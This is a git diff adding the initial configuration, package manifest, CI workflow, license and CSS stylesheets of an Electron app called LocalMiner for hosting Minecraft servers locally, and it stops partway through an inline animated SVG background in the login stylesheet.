diff --git a/.github/workflows/snorkell-auto-documentation.yml b/.github/workflows/snorkell-auto-documentation.yml
new file mode 100644
index 0000000..b811b4c
--- /dev/null
+++ b/.github/workflows/snorkell-auto-documentation.yml
@@ -0,0 +1,19 @@
+# This workflow will improvise current file with AI genereated documentation and Create new PR
+
+name: Penify - Revolutionizing Documentation on GitHub
+
+on:
+ push:
+ branches: ["main"]
+ workflow_dispatch:
+
+jobs:
+ Documentation:
+ runs-on: ubuntu-latest
+ steps:
+ - name: Penify DocGen Client
+ uses: Penify-dev/penifydocwf@v1.0.0
+ with:
+ client_id: ${{ secrets.SNORKELL_CLIENT_ID }}
+ api_key: ${{ secrets.SNORKELL_API_KEY }}
+ branch_name: "main"
\ No newline at end of file
diff --git a/forge.config.js b/forge.config.js
new file mode 100644
index 0000000..fa4a113
--- /dev/null
+++ b/forge.config.js
@@ -0,0 +1,44 @@
+const { FusesPlugin } = require('@electron-forge/plugin-fuses');
+const { FuseV1Options, FuseVersion } = require('@electron/fuses');
+
+module.exports = {
+ packagerConfig: {
+ asar: true,
+ },
+ rebuildConfig: {},
+ makers: [
+ {
+ name: '@electron-forge/maker-squirrel',
+ config: {},
+ },
+ {
+ name: '@electron-forge/maker-zip',
+ platforms: ['darwin'],
+ },
+ {
+ name: '@electron-forge/maker-deb',
+ config: {},
+ },
+ {
+ name: '@electron-forge/maker-rpm',
+ config: {},
+ },
+ ],
+ plugins: [
+ {
+ name: '@electron-forge/plugin-auto-unpack-natives',
+ config: {},
+ },
+ // Fuses are used to enable/disable various Electron functionality
+ // at package time, before code signing the application
+ new FusesPlugin({
+ version: FuseVersion.V1,
+ [FuseV1Options.RunAsNode]: false,
+ [FuseV1Options.EnableCookieEncryption]: true,
+ [FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
+ [FuseV1Options.EnableNodeCliInspectArguments]: false,
+ [FuseV1Options.EnableEmbeddedAsarIntegrityValidation]: true,
+ [FuseV1Options.OnlyLoadAppFromAsar]: true,
+ }),
+ ],
+};
diff --git a/license.md b/license.md
new file mode 100644
index 0000000..91e03f7
--- /dev/null
+++ b/license.md
@@ -0,0 +1,5 @@
+# LocalMiner
+### Host Minecraft Servers Locally
+https://github.com/LocalMiner
+
+###### Copyrights 2021 ~ LocalMiner Team
\ No newline at end of file
diff --git a/logo.ico b/logo.ico
new file mode 100644
index 0000000..6e3c881
Binary files /dev/null and b/logo.ico differ
diff --git a/package.json b/package.json
new file mode 100644
index 0000000..fa86a68
--- /dev/null
+++ b/package.json
@@ -0,0 +1,58 @@
+{
+ "name": "LocalMiner",
+ "productName": "LocalMiner",
+ "version": "1.0.0",
+ "description": "LocalMiner",
+ "main": "src/index.js",
+ "author": "LENOVO",
+ "scripts": {
+ "start": "electron-forge start",
+ "package": "electron-forge package",
+ "make": "electron-forge make",
+ "publish": "electron-forge publish",
+ "lint": "echo \"No linting configured\"",
+ "build": "electron-builder"
+ },
+ "build": {
+ "appId": "LocalMinerRun",
+ "win": {
+ "target": [
+ "nsis"
+ ],
+ "icon": "logo.ico"
+ },
+ "nsis": {
+ "oneClick": true,
+ "installerIcon": "logo.ico",
+ "uninstallerIcon": "logo.ico",
+ "uninstallDisplayName": "LocalMinerRun-uninstaller",
+ "license": "license.md",
+ "allowToChangeInstallationDirectory": false
+ }
+ },
+ "devDependencies": {
+ "@electron-forge/cli": "^7.4.0",
+ "@electron-forge/maker-deb": "^7.4.0",
+ "@electron-forge/maker-rpm": "^7.4.0",
+ "@electron-forge/maker-squirrel": "^7.4.0",
+ "@electron-forge/maker-zip": "^7.4.0",
+ "@electron-forge/plugin-auto-unpack-natives": "^7.4.0",
+ "@electron-forge/plugin-fuses": "^7.4.0",
+ "@electron/fuses": "^1.8.0",
+ "electron": "30.0.9",
+ "electron-builder": "^25.0.0-alpha.9"
+ },
+ "keywords": [],
+ "license": "MIT",
+ "dependencies": {
+ "discord-rpc": "^4.0.1",
+ "electron-dl": "^3.3.1",
+ "electron-localshortcut": "^3.2.1",
+ "electron-squirrel-startup": "^1.0.1",
+ "extract-zip": "^2.0.1",
+ "fs": "^0.0.1-security",
+ "jquery": "^3.7.1",
+ "node-fetch": "^2.6.7",
+ "yarn": "^1.22.19"
+ }
+}
diff --git a/src/CSS/gobal.css b/src/CSS/gobal.css
new file mode 100644
index 0000000..f5ac884
--- /dev/null
+++ b/src/CSS/gobal.css
@@ -0,0 +1,566 @@
+@font-face {
+ font-family: 'Bold';
+ src: url('../assets/fonts/Degular-Bold.otf') format('opentype');
+ font-weight: bold;
+}
+
+@font-face {
+ font-family: 'Medium';
+ src: url('../assets/fonts/Degular-Medium.otf') format('opentype');
+ font-weight: normal;
+ /* Change to normal for Medium font */
+}
+
+* {
+ margin: 0;
+ padding: 0;
+}
+
+img{
+ user-drag: none;
+ -webkit-user-drag: none;
+ user-select: none;
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+}
+
+.preloader {
+ background-image: linear-gradient(to bottom, #323232fb, #323232);
+ background-size: cover;
+ /* Adjust to fit the screen */
+ background-repeat: no-repeat;
+ background-position: center center;
+ margin: 0px;
+ padding: 0px;
+ position: fixed;
+ width: 100%;
+ height: 100vh;
+ z-index: 999999;
+}
+
+.preload {
+ width: 100%;
+ height: 100%;
+ display: flex;
+ flex-direction: column;
+ align-items: center;
+ justify-content: center;
+}
+
+.preload>progress {
+ accent-color: white;
+ width: 50%;
+ opacity: 50%;
+}
+.pre-text{
+ font-family: 'Medium';
+ color: #fff;
+}
+
+body {
+ background-color: #292929;
+}
+
+.noti-box {
+ width: 96vw;
+ position: absolute;
+ color: #ffffffcc;
+ display: flex; /* Alternative centering method */
+ justify-content: center; /* Centers horizontally */
+ align-items: center; /* Centers vertically (if needed) */
+ top: -11vh;
+}
+
+.notification {
+ display: flex;
+ justify-content: center; /* Centers horizontally */
+ align-items: center; /* Centers vertically */
+ background-color: #232323;
+ max-width: 80vw;
+ height: 4vh;
+ padding-top: auto;
+ padding-bottom: auto;
+ border-radius: 15px;
+ box-shadow: 0px 10px 20px rgb(0 0 0 / 41%);
+}
+
+.notification > p {
+ padding-left: 4vw;
+ padding-right: 4vw;
+ font-family: Medium;
+}
+
+
+
+.main {
+ border-radius: 15px;
+ height: 85vh;
+ width: 96vw;
+ background-color: #1a1919;
+ position: absolute;
+ bottom: -31%;
+ left: 50%;
+ transform: translate(-50%, -51%);
+}
+
+
+
+
+.footer {
+ height: 5.15rem;
+ width: 100%;
+ background-color: #323232;
+ border-top-left-radius: 15px;
+ border-top-right-radius: 15px;
+ box-shadow: 0 -12px 8px 0 rgba(0, 0, 0, 0.066);
+ position: absolute;
+ bottom: 0px;
+}
+
+.info {
+ display: flex;
+ justify-content: space-between;
+ align-items: center;
+ padding: 0px 2vw;
+ padding-top: 2.3px;
+ color: white;
+}
+
+
+.info>.status {
+ font-family: "Medium";
+ line-height: 1.3em;
+}
+
+.info>.localminer {
+ flex: 1;
+ text-align: center;
+ justify-content: center;
+ line-height: 1.3em;
+ margin-left: -7vw;
+}
+
+.info>.localminer>h1 {
+ font-family: "Bold";
+ transition: 0.3s;
+}
+
+.info>.localminer>h1:hover {
+ opacity: 80%;
+ letter-spacing: 1px;
+}
+
+.info>.localminer>p {
+ font-family: "Medium";
+ /* margin-top: -10px; */
+ color: rgba(255, 255, 255, 0.619);
+}
+
+.info>.localminer>p>span {
+ color: rgba(255, 255, 255, 0.619);
+ transition: 0.3s;
+}
+
+.info>.localminer>p>span:hover {
+ color: rgb(255, 255, 255);
+ letter-spacing: 1px;
+}
+
+
+.info>.avatar>img {
+ border: 2px rgba(255, 255, 255, 0.55) solid;
+ border-radius: 50%;
+ width: 50px;
+ transition: 0.3s;
+}
+
+.info>.avatar>img:hover {
+ transform: rotate(30deg);
+ opacity: 70%;
+}
+
+.progress {
+ height: 5px;
+ width: 100%;
+ accent-color: #FF6D00;
+}
+
+.main-inner {
+ padding: 2vh;
+}
+
+.main-info {
+ position: absolute;
+ top: 2.5rem;
+ left: 1.5rem;
+ color: white;
+ line-height: 1.3em;
+}
+
+.main-info>h1 {
+ font-family: "Bold";
+}
+
+.main-info>p {
+ font-family: "Medium";
+}
+
+input,
+select,
+button {
+ width: 80%;
+ padding: 2vh;
+ margin: 2vh 0px;
+ -ms-box-sizing: content-box;
+ -moz-box-sizing: content-box;
+ -webkit-box-sizing: content-box;
+ box-sizing: content-box;
+ font-family: "Medium";
+}
+
+input[type="file"] {
+ display: none;
+}
+
+.custom-file-upload {
+ margin: 2vh 0px;
+ background-color: white;
+ color: black;
+ display: inline-block;
+ padding: 2vh;
+ cursor: pointer;
+ width: 80%;
+ -ms-box-sizing: content-box;
+ -moz-box-sizing: content-box;
+ -webkit-box-sizing: content-box;
+ box-sizing: content-box;
+ font-family: "Medium";
+}
+
+button {
+ color: white;
+ background-color: rgb(48, 48, 48);
+ border: none;
+ transition: 0.3s;
+ font-family: "Bold";
+ border-radius: 15px;
+}
+
+button:hover {
+ opacity: 50%;
+ border-radius: 0px;
+}
+
+
+
+.menu {
+ margin: 0;
+}
+
+.inner-menu {
+ display: flex;
+ flex-direction: column;
+ align-items: center;
+}
+
+.inner-menu>img {
+ width: 30%;
+ margin-bottom: 20px;
+ transition: 1s;
+}
+
+.inner-menu>img:hover {
+ opacity: 80%;
+ animation: vertical-shaking 1s infinite;
+}
+
+body:has(.inner-menu>img) .main {
+ transition: 0.3s;
+}
+
+body:has(.inner-menu>img:hover) .main {
+ background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.619), rgb(0, 0, 0)), url("https://i.pinimg.com/originals/ce/b9/3a/ceb93a05f1a8c42573c75003e63f9526.jpg");
+ background-size: cover;
+ /* Adjust to fit the screen */
+ background-repeat: no-repeat;
+ background-position: center center;
+}
+
+@keyframes vertical-shaking {
+ 0% {
+
+ transform: translateY(0)
+ }
+
+ 25% {
+
+ transform: translateY(5px)
+ }
+
+ 50% {
+
+ transform: translateY(-5px)
+ }
+
+ 75% {
+
+ transform: translateY(5px)
+ }
+
+ 100% {
+ transform: translateY(0)
+ }
+}
+
+.square {
+ display: flex;
+}
+
+.squarebox {
+ width: 10rem;
+ height: 10rem;
+ background-color: gray;
+ margin: 5px;
+ text-align: center;
+ /* Horizontally center */
+ display: flex;
+ /* Create a flex container */
+ justify-content: center;
+ /* Horizontally center flex items */
+ align-items: center;
+ transition: 0.3s;
+}
+
+.squarebox>img {
+
+ max-width: 60%;
+ /* Ensure the image doesn't exceed the container's width */
+ height: auto;
+ /* Maintain aspect ratio */
+ opacity: 45%;
+
+}
+
+.squarebox:hover {
+ width: 8rem;
+ height: 8rem;
+ opacity: 40%;
+ transform: rotate(3deg);
+ border: none;
+}
+
+.squarebox:nth-child(1) {
+ border-top-left-radius: 15px;
+ border-bottom-left-radius: 15px;
+}
+
+.squarebox:nth-child(5) {
+ border-top-right-radius: 15px;
+ border-bottom-right-radius: 15px;
+}
+
+
+
+/* Install */
+.install {
+ display: flex;
+ width: 96vw;
+ height: 81vh;
+}
+
+.install-img {
+ background-image: url('https://i.pinimg.com/originals/20/e2/65/20e265360d6142294ce17dcc3929d9e9.gif');
+ background-color: #323232;
+ background-size: cover;
+ background-position: center center;
+ /* Optional: Center the image */
+ width: 40%;
+ border-top-left-radius: 15px;
+ border-bottom-left-radius: 15px;
+ margin-top: 2rem;
+}
+
+.install-form {
+ margin-left: 3rem;
+ margin-top: 10rem;
+ width: 60%;
+ justify-content: center;
+}
+
+
+/* Run */
+
+.run {
+ display: flex;
+ width: 96vw;
+ height: 81vh;
+}
+
+.run-img {
+ background-image: url('https://i.pinimg.com/originals/90/8d/ee/908deec53fa456c6f4274714cff42a9e.png');
+ background-size: cover;
+ background-position: center center;
+ background-color: #323232;
+ /* Optional: Center the image */
+ width: 40%;
+ border-top-left-radius: 15px;
+ border-bottom-left-radius: 15px;
+ margin-top: 2rem;
+}
+
+.run-form {
+ margin-left: 3rem;
+ margin-top: 10rem;
+ width: 60%;
+ justify-content: center;
+}
+
+/* Settings */
+.settings {
+ display: flex;
+ width: 96vw;
+ height: 81vh;
+}
+
+.settings-img {
+ background-image: url('https://i.pinimg.com/originals/d8/48/d4/d848d49cd9c1628807169efcc48f5751.gif');
+ background-size: cover;
+ background-position: center center;
+ background-color: #323232;
+ /* Optional: Center the image */
+ width: 40%;
+ border-top-left-radius: 15px;
+ border-bottom-left-radius: 15px;
+ margin-top: 2rem;
+}
+
+.settings-form {
+ margin-left: 3rem;
+ margin-top: 9rem;
+ width: 60%;
+ justify-content: center;
+}
+
+/* Console */
+
+.console {
+ height: 81vh;
+}
+
+.terminal {
+ margin-top: 2rem;
+ width: 100%;
+}
+
+.terminal>input {
+ width: -webkit-fill-available;
+ background-color: rgb(48, 48, 48);
+ border: none;
+ color: #fff;
+}
+
+pre {
+ overflow-x: hidden;
+}
+
+code {
+ height: 60vh;
+ overflow-x: hidden;
+ overflow-y: auto;
+}
+
+/* Plugin */
+.plugin {
+ height: 81vh;
+}
+
+.searchbar {
+ display: flex;
+ justify-content: flex-end;
+}
+
+
+.searchbar > div > input[type="file"] {
+ display: none;
+}
+
+.searchbar > div > .custom-file-upload {
+ margin: 2vh;
+ padding: 2px;
+ height: 4vh;
+ width: 100%;
+ background-color: rgb(48, 48, 48);
+ text-align: right;
+ color: #ffffff9d;
+}
+
+.searchbar>.searchinput {
+ text-align: right;
+ width: 50%;
+}
+
+.searchbar>.searchinput>input {
+ border-top-left-radius: 15px;
+ border-bottom-right-radius: 15px;
+ text-align: right;
+ padding: 1vh;
+ background-color: rgb(48, 48, 48);
+ color: #fff;
+}
+
+.pluginarea {
+ display: grid;
+ grid-template-columns: repeat(auto-fit, minmax(16rem, 1fr));
+ /* Create 3 equal-width columns */
+ justify-content: center;
+ /* Center the columns horizontally */
+ gap: 20px;
+ overflow-y: scroll;
+ height: 73vh;
+}
+
+.column {
+ display: flex;
+ flex-direction: column;
+ align-items: center;
+ justify-content: center;
+ text-align: center;
+ padding: 2vh;
+ border-radius: 15px;
+ background-color: #323232;
+ width: 13.5rem;
+ height: 13.5rem;
+ transition: 0.3s;
+}
+
+.column:hover {
+ transform: rotate(2deg);
+}
+
+.column>img {
+ width: 11vh;
+ height: 11vh;
+ border-radius: 50%;
+ padding: 2vh;
+}
+
+.column>p {
+ font-family: "Bold";
+ color: #fff;
+}
+
+.column>p:nth-child(3) {
+ font-family: "Bold";
+ color: #ffffffbe;
+ font-size: 10px;
+}
+
+.column>button {
+ color: white;
+ background-color: rgb(32, 32, 32);
+ border: none;
+ transition: 0.3s;
+ font-family: "Bold";
+ border-radius: 15px;
+}
\ No newline at end of file
diff --git a/src/CSS/loginStyle.css b/src/CSS/loginStyle.css
new file mode 100644
index 0000000..97b34ac
--- /dev/null
+++ b/src/CSS/loginStyle.css
@@ -0,0 +1,1697 @@
+html,
+body,
+div,
+span,
+applet,
+object,
+iframe,
+h1,
+h2,
+h3,
+h4,
+h5,
+h6,
+p,
+blockquote,
+pre,
+a,
+abbr,
+acronym,
+address,
+big,
+cite,
+code,
+del,
+dfn,
+em,
+img,
+ins,
+kbd,
+q,
+s,
+samp,
+small,
+strike,
+strong,
+sub,
+sup,
+tt,
+var,
+b,
+u,
+i,
+center,
+dl,
+dt,
+dd,
+ol,
+ul,
+li,
+fieldset,
+form,
+label,
+legend,
+table,
+caption,
+tbody,
+tfoot,
+thead,
+tr,
+th,
+td,
+article,
+aside,
+canvas,
+details,
+embed,
+figure,
+figcaption,
+footer,
+header,
+hgroup,
+menu,
+nav,
+output,
+ruby,
+section,
+summary,
+time,
+mark,
+audio,
+video {
+ margin: 0;
+ padding: 0;
+ border: 0;
+ font-size: 100%;
+ font: inherit;
+ vertical-align: baseline;
+}
+
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+hgroup,
+menu,
+nav,
+section {
+ display: block;
+}
+
+body {
+ line-height: 1;
+}
+
+ol,
+ul {
+ list-style: none;
+}
+
+blockquote,
+q {
+ quotes: none;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+ content: '';
+ content: none;
+}
+
+table {
+ border-collapse: collapse;
+ border-spacing: 0;
+}
+
+body {
+ -webkit-text-size-adjust: none
+}
+
+mark {
+ background-color: transparent;
+ color: inherit
+}
+
+input::-moz-focus-inner {
+ border: 0;
+ padding: 0
+}
+
+input[type="text"],
+input[type="email"],
+select,
+textarea {
+ -moz-appearance: none;
+ -webkit-appearance: none;
+ -ms-appearance: none;
+ appearance: none
+}
+
+*,
+*:before,
+*:after {
+ box-sizing: border-box;
+}
+
+body {
+ line-height: 1.0;
+ min-height: var(--viewport-height);
+ min-width: 320px;
+ overflow-x: hidden;
+ word-wrap: break-word;
+}
+
+#bg:before {
+ content: '';
+ display: block;
+ height: 100%;
+ left: 0;
+ position: absolute;
+ top: 0;
+ width: 100%;
+ z-index: 1;
+ background-image: url('data:image/svg+xml;charset=utf8,%3Csvg%20width%3D%22640%22%20height%3D%22480%22%20viewBox%3D%220%200%20640%20480%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20preserveAspectRatio%3D%22none%22%3E%20%3Cstyle%20type%3D%22text%2Fcss%22%3E%20line%20%7B%20stroke%3A%20rgba(255,255,255,0.078)%3B%20stroke-width%3A%204.01px%3B%20stroke-linecap%3A%20round%3B%20vector-effect%3A%20non-scaling-stroke%3B%20%7D%20%3C%2Fstyle%3E%20%3Cline%20x1%3D%226.0784%22%20y1%3D%22379.1313%22%20x2%3D%22-1.3332%22%20y2%3D%22382.4162%22%20stroke-opacity%3D%220%22%20%2F%3E%20%3Cline%20x1%3D%22107.7666%22%20y1%3D%22109.9161%22%20x2%3D%22121.3879%22%20y2%3D%22118.2649%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22107.7666%3B92.1393%3B74.0278%3B52.7885%3B27.5346%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22109.9161%3B100.3377%3B89.2366%3B76.2184%3B60.7396%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22121.3879%3B107.7666%3B92.1393%3B74.0278%3B52.7885%3B27.5346%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22118.2649%3B109.9161%3B100.3377%3B89.2366%3B76.2184%3B60.7396%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22128.6148%22%20y1%3D%22219.0634%22%20x2%3D%22140.7586%22%20y2%3D%22220.3919%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22128.6148%3B114.7059%3B98.6169%3B79.7917%3B57.4673%3B30.5682%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22219.0634%3B217.5419%3B215.7818%3B213.7224%3B211.2803%3B208.3376%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22140.7586%3B128.6148%3B114.7059%3B98.6169%3B79.7917%3B57.4673%3B30.5682%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22220.3919%3B219.0634%3B217.5419%3B215.7818%3B213.7224%3B211.2803%3B208.3376%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22432.2645%22%20y1%3D%22158.9627%22%20x2%3D%22422.6169%22%20y2%3D%22165.9267%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22432.2645%3B443.9144%3B458.262%3B476.3673%3B499.9289%3B531.8507%3B577.5421%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22158.9627%3B150.5533%3B140.1966%3B127.1274%3B110.1197%3B87.0771%3B54.0951%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22422.6169%3B432.2645%3B443.9144%3B458.262%3B476.3673%3B499.9289%3B531.8507%3B577.5421%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22165.9267%3B158.9627%3B150.5533%3B140.1966%3B127.1274%3B110.1197%3B87.0771%3B54.0951%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22601.4977%22%20y1%3D%22178.0974%22%20x2%3D%22596.0526%22%20y2%3D%22179.2948%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22601.4977%3B616.5421%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22178.0974%3B174.7891%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22596.0526%3B601.4977%3B616.5421%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22179.2948%3B178.0974%3B174.7891%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22522.1007%22%20y1%3D%2261.4306%22%20x2%3D%22510.5698%22%20y2%3D%2271.6189%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22522.1007%3B535.1169%3B549.9252%3B566.9229%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2261.4306%3B49.9298%3B36.8458%3B21.8271%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22510.5698%3B522.1007%3B535.1169%3B549.9252%3B566.9229%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2271.6189%3B61.4306%3B49.9298%3B36.8458%3B21.8271%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22638.2348%22%20y1%3D%22449.1655%22%20x2%3D%22616.2781%22%20y2%3D%22434.7341%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22616.2781%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22434.7341%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.43